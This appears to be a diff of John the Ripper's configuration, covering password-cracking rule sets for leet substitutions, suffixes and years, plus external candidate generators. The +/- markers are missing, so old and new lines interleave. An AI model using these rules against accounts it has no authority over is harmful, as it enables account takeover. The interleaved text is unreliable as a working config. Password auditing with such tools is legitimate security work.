MarkAdminCracks = Y
ColorAdmin = ^[0;31m
ColorCrack = ^[0;33m
# If MarkAdminCracks = Y above, the below will be used (if defined) for
# terminal output. The default is to change color to red before the username
# and reset to normal after it. Any "^" characters will be parsed as ESC for
# use in ANSI codes (like in the defaults).
# The "MarkOther" entries will make non-admin stuff brown.
MarkAdminStart = ^[0;31m
MarkAdminEnd = ^[0m
MarkOtherStart = ^[0;33m
MarkOtherEnd = ^[0m
# If MarkAdminCracks = Y above, the below will be used (if defined) for logs.
# If MarkAdminCracks = Y above, the below will be used (if defined) for logs
# or otherwise where stdout is not a terminal.
# This literal string will be printed after the " + Cracked: root" line.
MarkAdminString = (ADMIN ACCOUNT)
@@ -173,7 +183,7 @@ SingleWordsPairMax = 6
# Setting this to false stops Single mode from re-testing guessed plaintexts
# with all other salts. This is deprecated: Use command-line per-session
# option --single-retest-guess=no instead.
# option --no-single-retest-guess instead.
SingleRetestGuessed = Y
# Max recursion depth for SingleRetestGuessed, so we don't blow the stack
@@ -239,8 +249,22 @@ ShowRemainOnStatus = N
# Write cracked passwords to the log file (default is just the user name)
LogCrackedPasswords = N
# Log per-rule statistics usable to generate re-ordered rule set with:
# cut -c14- john.log | grep '^Score ' | sort -rnk 2 | cut -d: -f2- | sed 's/\\/\\\\/g; s/\[/\\[/g; s/^-: //'
# or for use on the slowest hashes:
# cut -c14- john.log | grep '^Score ' | sort -nk 4 | cut -d: -f2- | sed 's/\\/\\\\/g; s/\[/\\[/g; s/^-: //'
# The "sed" invocation in these commands is to make the pre-processed rules
# suitable for our rule preprocessor again. It should be omitted for
# re-ordering hashcat mode rule sets, because that mode disables the
# preprocessor. And yes, you cannot use these commands for re-ordering mixed
# JtR native and hashcat mode rule sets, such as our Jumbo rule set, which
# currently includes hashcat's best64. That's not only because of the
# preprocessor, but also because hashcat mode on/off would get misplaced.
# Please note that enabling this option has some performance impact.
PerRuleStats = N
# Disable the dupe checking when loading hashes. For testing purposes only!
# This is deprecated: Use per-session option --loader-dupecheck=no instead.
# This is deprecated: Use per-session option --no-loader-dupe-check instead.
NoLoaderDupeCheck = N
# Default encoding for input files (ie. login/GECOS fields) and wordlists
@@ -350,6 +374,17 @@ AbortGraceTime = 30
# This may produce some false positives if enabled, at least for SAP-B.
SAPhalfHashes = N
# Opportunistic duplicate candidate password suppressor for wordlist+rules
[Options:Suppressor]
# Memory allocation size in MiB per process, 0 to disable unless forced.
# The default is 256 MiB, the maximum is just below 256 GiB (on 64-bit).
Size = 256
# Whether to lock the oldest half of entries as write-once (and only ever
# update the other half). Empirically, this often provides best results,
# but it can also backfire. The default is yes.
LockHalf = Y
[Options:CPUtune]
# If preset is given, use it and skip autotune (NOTE: non-intel archs will
# currently ignore this option and always autotune)
@@ -395,7 +430,22 @@ AbortTemperature = 95
# interpret as intent to keep the GPU temperature around the limit.
SleepOnTemperature = 1
# Enable a workaround for busy-waits, introducing calls to usleep(3). This
# currently only applies to some formats on NVIDIA GPUs under Linux.
AvoidBusyWait = Y
[Options:OpenCL]
# Mute buggy nvidia warnings about kernel overriding noinline
# attribute. Even with this set, they will show at "debug verbosity"
# as in --verbose:6.
MuteBogusWarnings = Y
# Add ptxas info (-cl-nv-verbose) to build options for nvidia
NvidiaShowPtxas = Y
# Show runtime build warnings regardless of verbosity.
AlwaysShowBuildWarnings = N
# Set default OpenCL device(s). Command line option will override this.
# If not set, we will search for a GPU or fall-back to the most
# powerful device. Syntax is same as --device option.
@@ -722,7 +772,6 @@ DefaultCharset =
-c /?d @?d >3 M [lc] Q Az"123" <+
/?d @?d >2 al d
-c /?d @?d >2 al M [lc] Q d
(?a )?d /?d a0 'p Xpz0
)?a (?d /?a a0 'p Xpz0
# "Single crack" mode rules
@@ -730,11 +779,17 @@ DefaultCharset =
# Simple rules come first...
:
-s x**
<* $1
-c (?a c Q
-c l Q
(?a )?d /?d a0 'p Xpz0
<* $[230754968]
-c [lu] Q
-s-c x** /?u l
# These were not included in crackers I've seen, but are pretty efficient,
# so I include them near the beginning
Az"123" <+
r c
-c )?a r l
<* $!
<* p
-<6 >6 '6
-<7 >7 '7 l
-<6 -c >6 '6 /?u l
@@ -746,12 +801,9 @@ DefaultCharset =
# Weird order, eh? Can't do anything about it, the order is based on the
# number of successful cracks...
<* d
r c
-c <* (?a d c
-<5 -c >5 '5 /?u l
-c u Q
-c )?a r l
-[:c] <* !?A \p1[lc] p
-c <* [lc] Q p
-c <* c Q d
-<7 -c >7 '7 /?u
-<4 >4 '4 l
@@ -779,51 +831,49 @@ r c
# >4 x32 /?u l ... >9 x37 /?u l
-c >[4-9] x3\p[2-7] /?u l
# Now to the suffix stuff...
<* l $[1-9!0a-rt-z"-/:-@\[-`{-~]
-c <* (?a c $[1-9!0a-rt-z"-/:-@\[-`{-~]
-[:c] <* !?A (?\p1[za] \p1[lc] $s M 'l p Q X0z0 'l $s
-[:c] <* /?A (?\p1[za] \p1[lc] $s
<* l r $[1-9!]
-c <* /?a u $[1-9!]
-[:c] <- (?\p1[za] \p1[lc] Az"'s"
-[:c] <- (?\p1[za] \p1[lc] Az"!!"
-[:c] (?\p1[za] \p1[lc] $! <- Az"!!"
-c <* [lc] Q $[1230754968!]
-\r[:cc] <* \p1[:lc] \r\p1[:QQ] $[a-rt-z"-/:-@\[-`{-~]
-[:c] <* (?\p1[za] \p1[lc] $s M 'l p Q X0z0 'l $s
<* l r $[1230754968!]
-c <* /?a u $[1230754968!]
-\r[:cc] <- \p1[:lc] \r\p1[:QQ] Az"'s"
-\r[:cc] <- \p1[:lc] \r\p1[:QQ] Az"!!"
-\r[:cc] <- \p1[:lc] \r\p1[:QQ] $! <- Az"!!"
# Removing vowels...
-[:c] /?v @?v >2 (?\p1[za] \p1[lc]
-\r[:cc] /?v @?v >2 M \p1[:lc] \r\p1[:QQ]
/?v @?v >2 <* d
# crack -> cracked, crack -> cracking
<* l [PI]
-c <* l [PI] (?a c
-\r[:cc] <* \p1[:lc] \r\p1[:QQ] [PI]
# mary -> marie
-[:c] <* (?\p1[za] \p1[lc] )y omi $e
-\r[:cc] <* \p1[:lc] \r\p1[:QQ] )y omi $e
# marie -> mary
-[:c] (?\p1[za] \p1[lc] )e \] <+ )i val1 oay
-\r[:cc] <* \p1[:lc] \r\p1[:QQ] )e \] <+ )i val1 oay
# The following are some 3l33t rules
-[:c] l /[aelos] s\0\p[4310$] (?\p1[za] \p1[:c]
-[:c] l /a /[elos] sa4 s\0\p[310$] (?\p1[za] \p1[:c]
-[:c] l /e /[los] se3 s\0\p[10$] (?\p1[za] \p1[:c]
-[:c] l /l /[os] sl1 s\0\p[0$] (?\p1[za] \p1[:c]
-[:c] l /o /s so0 ss$ (?\p1[za] \p1[:c]
-[:c] l /a /e /[los] sa4 se3 s\0\p[10$] (?\p1[za] \p1[:c]
-[:c] l /a /l /[os] sa4 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
-[:c] l /a /o /s sa4 so0 ss$ (?\p1[za] \p1[:c]
-[:c] l /e /l /[os] se3 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
-[:c] l /[el] /o /s s\0\p[31] so0 ss$ (?\p1[za] \p1[:c]
-[:c] l /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
-[:c] l /a /[el] /o /s sa4 s\0\p[31] so0 ss$ (?\p1[za] \p1[:c]
-[:c] l /e /l /o /s se3 sl1 so0 ss$ (?\p1[za] \p1[:c]
-[:c] l /a /e /l /o /s sa4 se3 sl1 so0 ss$ (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /[aelos] s\0\p[4310$] (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /[elos] sa4 s\0\p[310$] (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /e /[los] se3 s\0\p[10$] (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /l /[os] sl1 s\0\p[0$] (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /o /s so0 ss$ (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /e /[los] sa4 se3 s\0\p[10$] (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /l /[os] sa4 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /o /s sa4 so0 ss$ (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /e /l /[os] se3 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /[el] /o /s s\0\p[31] so0 ss$ (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /[el] /o /s sa4 s\0\p[31] so0 ss$ (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /e /l /o /s se3 sl1 so0 ss$ (?\p1[za] \p1[:c]
-\r[:cc] \p1[:lc] \r\p1[:QQ] /a /e /l /o /s sa4 se3 sl1 so0 ss$ (?\p1[za] \p1[:c]
# Now to the prefix stuff...
l ^[1a-z2-90]
-c l Q ^[A-Z]
^[A-Z]
l ^["-/:-@\[-`{-~]
-[:c] <9 (?a \p1[lc] A0"[tT]he"
-[:c] <9 (?a \p1[lc] A0"[aA]my"
-[:c] <9 (?a \p1[lc] A0"[mdMD]r"
-[:c] <9 (?a \p1[lc] A0"[mdMD]r."
-[:c] <9 (?a \p1[lc] A0"__"
<- !?A l p ^[240-9]
-[:c] <9 (?\p1[za] \p1[lc] A0"[tT]he"
-[:c] <9 (?\p1[za] \p1[lc] A0"[aA]my"
-[:c] <9 (?\p1[za] \p1[lc] A0"[mdMD]r"
-[:c] <9 (?\p1[za] \p1[lc] A0"[mdMD]r."
-[:c] <9 (?\p1[za] \p1[lc] A0"__"
<- l p ^[240-9]
# Some word pair rules...
# johnsmith -> JohnSmith, johnSmith
-p-c (?a 2 (?a c 1 [cl]
@@ -841,8 +891,8 @@ l ^["-/:-@\[-`{-~]
-p-[c:] 1 l 2 \p1[ur]
-p-c 1 (?a c 2 [ur]
# jsmith -> smithj, etc...
-[:c] (?a \p1[lc] [{}]
-[:c] (?a \p1[lc] [{}] \0
-\r[:cc] \p1[:lc] \r\p1[:QQ] [{}]
-\r[:cc] \p1[:lc] \r\p1[:QQ] [{}] \0
# Toggle case...
-c <+ )?u l Tm
-c T0 Q M c Q l Q u Q C Q X0z0 'l
@@ -858,14 +908,11 @@ l ^["-/:-@\[-`{-~]
=1?a \[ M c Q
-c (?a >[1-9A-E] D\1 c
# Inserting a dot...
-[:c] >3 (?a \p1[lc] i[12].
-\r[:cc] >3 \p1[:lc] \r\p1[:QQ] i[12].
# More suffix stuff...
<- l Az"[190][0-9]"
-c <- (?a c Az"[190][0-9]"
<- l Az"[782][0-9]"
-c <- (?a c Az"[782][0-9]"
<* l $[A-Z]
-c <* (?a c $[A-Z]
-\r[:cc] <- \p1[:lc] \r\p1[:QQ] Az"[190][0-9]"
-\r[:cc] <- \p1[:lc] \r\p1[:QQ] Az"[782][0-9]"
-\r[:cc] <* \p1[:lc] \r\p1[:QQ] $[A-Z]
# cracking -> CRACKiNG
-c u /I sIi
# Crack96 -> cRACK96
@@ -880,33 +927,32 @@ l Q [RL]
-c (?a c Q [RL]
:[RL] \0 Q
# Both prefixing and suffixing...
<- l ^[1!@#$%^&*\-=_+.?|:'"] $\1
<- l ^[10-9!@#$%^&*\-=_+.?|:'"] $\0
<- l ^[({[<] $\p[)}\]>]
# The rest of two-digit suffix stuff, less common numbers...
<- l Az"[63-5][0-9]"
-c <- (?a c Az"[63-5][0-9]"
-\r[:cc] <- \p1[:lc] \r\p1[:QQ] Az"[63-5][0-9]"
# Some multi-digit numbers...
-[:c] (?a \p1[lc] Az"007" <+
-[:c] (?a \p1[lc] Az"123" <+
-[:c] (?a \p1[lc] Az"[0-9]\0\0" <+
-[:c] (?a \p1[lc] Az"1234" <+
-[:c] (?a \p1[lc] Az"[0-9]\0\0\0" <+
-[:c] (?a \p1[lc] Az"12345" <+
-[:c] (?a \p1[lc] Az"[0-9]\0\0\0\0" <+
-[:c] (?a \p1[lc] Az"123456" <+
-[:c] (?a \p1[lc] Az"[0-9]\0\0\0\0\0" <+
-c [lc] Q Az"123" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"007" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"[0-9]\0\0" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"1234" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"[0-9]\0\0\0" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"12345" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"[0-9]\0\0\0\0" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"123456" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"[0-9]\0\0\0\0\0" <+
# Some [birth] years...
l Az"19[7-96-0]" <+ >-
l Az"20[012]" <+ >-
l Az"19[7-9][0-9]" <+
l Az"20[012][0-9]" <+
l Az"19[6-0][9-0]" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"19[7-96-0]" <+ >-
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"20[012]" <+ >-
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"19[7-9][0-9]" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"20[012][0-9]" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"19[6-0][9-0]" <+
[List.Rules:Extra]
# Insert/overstrike some characters...
!?A >[1-6] l i\0[a-z]
!?A l o0[a-z]
!?A >[1-7] l o\0[a-z]
# Overstrike/insert some characters...
o0[a-z10-9A-Z] Q
>[1-7] o\0[a-z10-9_@.\-#!] Q
>[1-6] i\0[a-z10-9_@.\-# ]
# Toggle case everywhere (up to length 8), assuming that certain case
# combinations were already tried.
-c T1 Q M T0 Q
@@ -917,13 +963,20 @@ l Az"19[6-0][9-0]" <+
-c T6 Q M T[z0] T[z1] T[z2] T[z3] T[z4] T[z5] Q
-c T7 Q M T[z0] T[z1] T[z2] T[z3] T[z4] T[z5] T[z6] Q
# Very slow stuff...
l Az"[1-90][0-9][0-9]" <+
-c (?a c Az"[1-90][0-9][0-9]" <+
-\r[:cc] \p1[:lc] \r\p1[:QQ] Az"[1-90][0-9][0-9]" <+
<[\-9] l A\p[z0]"[a-z][a-z]"
<- l ^[A-Z] $\0
<- l ^[a-z] $[a-z]
# Wordlist mode rules
.include <rules-by-score.conf>
.include <rules-by-rate.conf>
# New default wordlist mode rules
[List.Rules:Wordlist]
.include [List.Rules:Best-by-score]
# Former default wordlist mode rules, now usable to enforce a policy
[List.Rules:Policy]
# Try words as they are
:
# Lowercase every pure alphanumeric word
@@ -1094,39 +1147,78 @@ s[ ][,&+*!'$/?:=#~] Q
:
->F -<F >F 'F
# Rules from Hash Runner 2014
# Overstrike/insert rules originally from Hash Runner 2014
# Overstrike any one character
[List.Rules:o1]
# o[0-9A-Z][ -~]
# Trivial
#o[0-9A-Z][ -~]
# Optimized
->\r[1-9A-ZZ] >\p[0-9A-Z] o\0[ -~] Q
# Overstrike any two characters
[List.Rules:o2]
# o[0-9A-E][ -~] Q M o[0-9A-E][ -~] Q
->[1-9A-F] ->[1-9A-F] >\p1[0-9A-E] >\p2[0-9A-E] o\3[ -~] Q M o\4[ -~] Q
[List.Rules:o3]
# o[0-9][ -~] Q M o[0-9][ -~] Q M o[0-9][ -~] Q
->[1-9A] ->[1-9A] ->[1-9A] >\p1[0-9] >\p2[0-9] >\p3[0-9] o\4[ -~] Q M o\5[ -~] Q M o\6[ -~] Q
# Simple
#o[0-9A-E][ -~] Q M o[0-9A-E][ -~] Q
# Optimized, assumes we also run o1 separately if needed
#->[1-9A-F] ->[2-9A-F] >\p1[0-9A-E] >\p2[1-9A-E] o\3[ -~] Q M o\4[ -~] Q
# Optimized further, same assumption
->[2-9A-F] >\p[1-9A-E] o0[ -~] Q M o\2[ -~] Q
->[3-9A-F] >\p[2-9A-E] o1[ -~] Q M o\2[ -~] Q
->[4-9A-F] >\p[3-9A-E] o2[ -~] Q M o\2[ -~] Q
->[5-9A-F] >\p[4-9A-E] o3[ -~] Q M o\2[ -~] Q
->[6-9A-F] >\p[5-9A-E] o4[ -~] Q M o\2[ -~] Q
->[7-9A-F] >\p[6-9A-E] o5[ -~] Q M o\2[ -~] Q
->[8-9A-F] >\p[7-9A-E] o6[ -~] Q M o\2[ -~] Q
->[9A-F] >\p[8-9A-E] o7[ -~] Q M o\2[ -~] Q
->[A-F] >\p[9A-E] o8[ -~] Q M o\2[ -~] Q
->[B-F] >\p[A-E] o9[ -~] Q M o\2[ -~] Q
->[C-F] >\p[B-E] oA[ -~] Q M o\2[ -~] Q
->[D-F] >\p[C-E] oB[ -~] Q M o\2[ -~] Q
->[E-F] >\p[D-E] oC[ -~] Q M o\2[ -~] Q
->F >E oD[ -~] Q M oE[ -~] Q
# Overstrike any one or two characters
[List.Rules:o]
.include [List.Rules:o1]
.include [List.Rules:o2]
# Insert any one character
[List.Rules:i1]
# i[0-9A-Z][ -~]
# Trivial
#i[0-9A-Z][ -~]
# Optimized
->\r[2-9A-ZZZ] >\p1[0-9A-Z] i\0[ -~]
# Insert any two characters
[List.Rules:i2]
# i[0-9A-E][ -~] i[0-9A-E][ -~]
->[2-9A-G] ->[2-9A-G] >\p1[0-9A-E] >\p2[0-9A-E] i\3[ -~] i\4[ -~]
[List.Rules:i3]
# i[0-9][ -~] i[0-9][ -~] i[0-9][ -~]
->[4-9A-D] ->[4-9A-D] ->[4-9A-D] >\p1[0-9] >\p2[0-9] >\p3[0-9] i\4[ -~] i\5[ -~] i\6[ -~]
# Trivial
#i[0-9A-E][ -~] i[0-9A-E][ -~]
# Optimized
#->[2-9A-G] ->[2-9A-G] i\p1[0-9A-E][ -~] >\3 >\p2[0-9A-E] i\p2[1-9A-F][ -~]
# Optimized further
->[2-9A-G] i0[ -~] >\p1[0-9A-E] i\p1[1-9A-F][ -~]
->[3-9A-G] i1[ -~] >\p1[1-9A-E] i\p1[2-9A-F][ -~]
->[4-9A-G] i2[ -~] >\p1[2-9A-E] i\p1[3-9A-F][ -~]
->[5-9A-G] i3[ -~] >\p1[3-9A-E] i\p1[4-9A-F][ -~]
->[6-9A-G] i4[ -~] >\p1[4-9A-E] i\p1[5-9A-F][ -~]
->[7-9A-G] i5[ -~] >\p1[5-9A-E] i\p1[6-9A-F][ -~]
->[8-9A-G] i6[ -~] >\p1[6-9A-E] i\p1[7-9A-F][ -~]
->[9A-G] i7[ -~] >\p1[7-9A-E] i\p1[8-9A-F][ -~]
->[A-G] i8[ -~] >\p1[8-9A-E] i\p1[9A-F][ -~]
->[B-G] i9[ -~] >\p1[9A-E] i\p1[A-F][ -~]
->[C-G] iA[ -~] >\p1[A-E] i\p1[B-F][ -~]
->[D-G] iB[ -~] >\p1[B-E] i\p1[C-F][ -~]
->[E-G] iC[ -~] >\p1[C-E] i\p1[D-F][ -~]
->[F-G] iD[ -~] >\p1[D-E] i\p1[E-F][ -~]
->G iE[ -~] >E iF[ -~]
# Insert any one or two characters
[List.Rules:i]
.include [List.Rules:i1]
.include [List.Rules:i2]
# Overstrike or insert any one or two characters
[List.Rules:oi]
.include [List.Rules:o1]
.include [List.Rules:i1]
@@ -1197,6 +1289,24 @@ a0 /?D l sa2 sb2 sc2 sd3 se3 sf3 sg4 sh4 si4 sj5 sk5 sl5 sm6 sn6 so6 sp7 sq7 sr7
[List.Rules:passphrase-rule2]
.include <rules/passphrase-rule2.rule>
# These rules are an optimized (large) subset of the hashcat rules
# https://notsosecure.com/one-rule-to-rule-them-all
# https://github.com/NotSoSecure/password_cracking_rules
[List.Rules:OneRuleToRuleThemAll]
!! hashcat logic ON
.include <rules/OneRuleToRuleThemAll.rule>
!! hashcat logic OFF
# These rules are an optimized version of OneRuleToRuleThemAll with removal of
# rules that were effectively duplicate as well as some that were ineffective.
# This cracks almost all of the same passwords in ~5% fewer rules.
# https://in.security/2023/01/10/oneruletorulethemstill-new-and-improved/
# https://github.com/stealthsploit/OneRuleToRuleThemStill
[List.Rules:OneRuleToRuleThemStill]
!! hashcat logic ON
.include <rules/OneRuleToRuleThemStill.rule>
!! hashcat logic OFF
# Default Loopback mode rules.
[List.Rules:Loopback]
.include [List.Rules:ShiftToggle]
@@ -1219,8 +1329,7 @@ b1 ]
# For Wordlist mode and very fast hashes
[List.Rules:Jumbo]
.include [List.Rules:Single-Extra]
.include [List.Rules:Wordlist]
.include [List.Rules:ShiftToggle]
.include [List.Rules:Policy]
.include [List.Rules:Multiword]
.include [List.Rules:best64]
.include [List.Rules:UnicodeSubstitution]
@@ -1233,9 +1342,12 @@ b1 ]
# ridiculous quality and lack optimizations - you have been warned.
[List.Rules:All]
.include [List.Rules:Jumbo]
.include [List.Rules:KoreLogic]
.include [List.Rules:OneRuleToRuleThemStill]
.include [List.Rules:T9]
.include [List.Rules:hashcat]
.include [List.Rules:ShiftToggle]
.include [List.Rules:oi]
.include [List.Rules:KoreLogic]
# Incremental modes
@@ -1717,9 +1829,9 @@ void restore()
/* Global variables: current length and word */
/* make this 'long' enough for other externs that include this one */
/* (up to 125 bytes long) */
/* (up to 320 bytes long) */
int length, current[126], max;
int length, current[320], max;
/* this new 'type' variable, is used to tell double what character set to
* use. It can use the original (alpha). If type is 0 (i.e. unset), then
@@ -1872,7 +1984,7 @@ void init()
# sections which include this External_base section.
# The generate() function will limit the maximum length of generated
# candidates to either the format's limit (maximum password length)
# or to the limit specified with --stdout=LENGTH (Default: 125),
# or to the limit specified with --stdout=LENGTH (Default: 319),
# thus avoiding duplicate candidates for formats with limited maximum
# passwortd length.
# The comparison of the current length and the limit is only done
@@ -1898,7 +2010,7 @@ void generate()
c = minc;
if (++length > maxlength)
c = 0; // Will NUL out the next "word" and thus terminate
length = 0; // Will NUL out the next "word" and thus terminate
}
# Try strings of repeated characters (range: space - 0xff).
@@ -1982,7 +2094,7 @@ void init()
#
# The generate() function will limit the maximum length of generated
# candidates to either the format's limit (maximum password length)
# or to the limit specified with --stdout=LENGTH (Default: 125),
# or to the limit specified with --stdout=LENGTH (Default: 319),
# thus avoiding duplicate candidates for formats with limited maximum
# passwortd length.
# The comparison of the current length and the limit is only done
@@ -2487,6 +2599,12 @@ void init()
}
}
// Must fit in id[] array
if (minlength > 15)
minlength = 15;
if (maxlength > 15)
maxlength = 15;
length = 0;
while (length < minlength)
id[length++] = 0;
@@ -3791,94 +3909,232 @@ void filter()
status = 1; // Print the status line
}
#
# Reference example hybrid-mode external. same as jtr-rule: $[0-9]$[0-9]
# this format is to be used similar to a filter, in that it requires some
# other word generator (markov, wordlist, etc). However, this type external
# will get new() called with each word, and then have next() called, until
# the word[0]=0 is seen (meaning all candidates for the base word have been
# generated. Prior to new() or restore(), word[] is the 'base' word.
# if the script is able to properly resume, then it should set the global
# variable hybrid_total to the count of candidates that will be generated
# for this word (in new() / restore(), then in the body of restore() there
# is a global variable set 'hybrid_resume' that was the prior number of
# canidates generated for this base-word. Resume should start at the NEXT
# If the script is not able to easily resume, then simply do NOT set the
# global hybrid_total to anything either function. JtR will 'still' resume
# propery, but it will do so by calling new()/next()/next().../next() until
# back to the proper resume location.
#
# script changed to append a _ character before the number, each time within
# the next() function. Done this way to better validate that -restore within
# jtr is working properly.
#
[List.External:Hybrid_example]
/* static vars for the script */
int cnt, length, total;
# Several hybrid external modes follow. These are to be used on top of another
# cracking mode and they generate multiple candidate passwords from each "word"
# output by the other mode.
# Combine words coming from another cracking mode into pairs. This gradually
# memorizes up to the initial 1 MB worth of words and uses them to prefix and
# suffix each current word.
# Known limitations:
# 1. --restore of interrupted session does not work right (no opportunity to
# re-memorize the other mode's skipped words), so do not use it.
# 2. The progress indicator and ETA are too optimistic (they assume linear
# progress through the input stream, but complexity within 1 MB is quadratic).
# Example usage: --wordlist --external=combinator --rules-stack=phrase
[List.External:Combinator]
int separator;
int words[1000000], size;
int base[160], base_size, base_length, swap, p, q;
void init()
{
/* in this simple example, we always generate 100 candidates per word */
total = 100;/* this is a VERY simple example */
separator = ' '; // Set to 0 for no separators
size = 1000000; // Must not exceed size of words array
base_size = 160; // Must not exceed size of base array, nor (319-1)/2+1
if (req_maxlen && base_size > req_maxlen + 1)
base_size = req_maxlen + 1;
q = 0;
}
/* new word */
void new()
{
/* get the word length) */
length = 0; while (word[length++]) ; --length;
swap = p = 0;
/*
* If this was a more complex script, we would compute total candidates
* at this location, if we can. If we can not compute total candidates
* then it is likely we can not resume 'easily', so if that is the
* case, we would simply set hybrid_total to -1, or do nothing, since
* do_external_hybrid_crack() sets it to -1 before calling this function.
*/
hybrid_total = total;
/* Memorize this base word if it fits and is of right length */
base_length = -1;
while (q < size && (words[q++] = word[++base_length]))
continue;
if (q < size && base_length < base_size && base_length)
return;
/* Reset or counter for THIS word. */
cnt = 0;
/*
* word will be too long to be used, or too short to be used. If so
* then set hybrid_total to 0 and this entire word will be skipped.
*/
if (req_minlen > length - 2 || (req_maxlen && req_maxlen < length + 2))
hybrid_total = 0;
/* Don't memorize this base word, but finish computing its length */
q -= base_length + 1;
if (word[base_length])
while (word[++base_length])
continue;
else if (!base_length)
base_length = base_size; // Skip empty words
}
void next()
{
/* in this simple script, if cnt is 100, this word is DONE */
if (cnt == 100) {
word[0] = 0;
int i, j;
if (base_length >= base_size) {
word = 0;
return;
}
/* set word[] to the next candidate */
word[length++] = '_';
word[length ] = '0' + cnt / 10;
word[length+1] = '0' + cnt % 10;
word[length+2] = 0;
++cnt;
if (swap) {
/* Next memorized word first, separator and current base word next */
i = -1;
while (word[++i] = words[p++])
continue;
if (p >= q) {
word = 0;
return;
}
if (separator)
word[i++] = separator;
j = 0;
while (word[i++] = base[j++])
continue;
return;
}
/* Current base word first, separator and next memorized word next */
i = base_length;
if (separator)
word[i++] = separator;
while (word[i++] = words[p++])
continue;
if (p >= q) {
p = 0;
swap++;
i = -1;
while (++i < base_length)
base[i] = word[i];
base[i] = 0;
}
}
/* Called when restoring an interrupted session */
void restore()
# Shuffle (try all permutations of) characters in each short input word
[List.External:Shuffle]
int max_length, ctz_bits, ctz_mask, ctz[0x80000]; // Max 0xa00000 for length 20
int length, base[0x20], id[0x20], unseen[0x20], is_dup[0x100], c2mask[0x100];
void init()
{
int i;
max_length = 10; // ctz array size of 0x80000 is good up to length 16
length = 0; while (word[length++]) ; --length;
/* for this simple script, simply setting cnt resumes */
cnt = hybrid_resume + 1; if (cnt > 100) cnt=100;
/* Prepare a count trailing zero table */
int i, j, mask;
ctz_mask = (1 << (ctz_bits = max_length - 1)) - 1;
i = 0;
while (i++ < cnt) word[length++] = '_';
word[length] = 0;
while (i++ < ctz_bits) {
j = 0;
while (j <= ctz_mask)
j += 1 << (ctz[j] = i);
}
/* followed by its revisions for skipping some bits */
while ((i = j >> ctz_bits) < max_length) {
mask = j & ctz_mask;
while (i--)
mask &= mask - 1;
ctz[j++] = ctz[mask];
}
}
/* tell john that we have properly 'resumed', by setting a 'proper' total */
hybrid_total = total;
void new()
{
int c, i;
length = i = -1;
while (c = word[++length]) {
if (length > max_length)
return;
c2mask[base[length] = c] = id[length] = 0;
}
while (c = word[++i]) {
is_dup[c] = c2mask[c];
c2mask[c] |= 1 << i;
}
unseen = 0;
}
void next()
{
int prev_unseen, i, j;
if ((i = length - 1) < max_length)
while (i--) {
if (++id[i] >= length - i) {
id[i] = 0;
continue;
}
if (unseen)
prev_unseen = unseen[i];
else
unseen[i = 0] = prev_unseen = ctz_mask;
while (i < length) {
/* Skip id[i] previously unseen char indices */
/* Take that char and see if it's unique */
if (is_dup[word[i] = base[j = ctz[prev_unseen | (id[i] << ctz_bits)]]])
if (c2mask[word[i]] & prev_unseen & ((1 << j) - 1))
break; /* Dupe in wrong order */
unseen[++i] = prev_unseen &= ~(1 << j);
}
if (i >= length) /* Not a dupe */
return;
/* Next loop ++id[i] will skip the dupe char in i's position */
i++;
}
word = 0;
}
# Simplified or reference version of the above, same output much slower
[List.External:Shuffle-simple]
int max_length, length, base[320], id[320], jd[320];
void init()
{
max_length = 10; // Our usage of bitmasks is good up to length 32
}
void new()
{
length = 0;
while (base[length] = word[length])
id[length++] = 0;
}
void next()
{
int unseen, i, j, k;
if ((i = length) <= max_length)
while (i--) {
if (++id[i] >= length - i) {
id[i] = 0;
continue;
}
i = unseen = -1;
while (++i < length) {
/* Skip id[i] previously unseen char indices, count */
j = -1;
k = id[i];
while (k >= 0)
if (unseen & (1 << ++j))
k--;
/* Take that char */
word[k = i] = base[jd[i] = j];
/* Same chars must only appear in one order */
while (k--)
if (word[k] == word[i])
break;
if (k >= 0)
if (jd[k] >= j) /* Wrong order */
break;
unseen &= ~(1 << j);
}
if (i >= length) /* Not a dupe */
return;
/* Next loop ++id[i] will skip the dupe char in i's position */
i++;
}
word = 0;
}
# External hybrid 'leet code
@@ -3896,11 +4152,11 @@ void restore()
* t -> t7
*/
int rotor[626]; /* max length input is 125 bytes [125*5+1]; */
int rotors[125];
int rotor_ptr[125];
int rotor_idx[125];
int rotor_cnt[125];
int rotor[1596]; /* max length input is 319 bytes [319*5+1] */
int rotors[319];
int rotor_ptr[319];
int rotor_idx[319];
int rotor_cnt[319];
int current_word_count;
int max_mangle; /* controls how many bytes we run through our 'leet' code */
int max_mangle_letters;
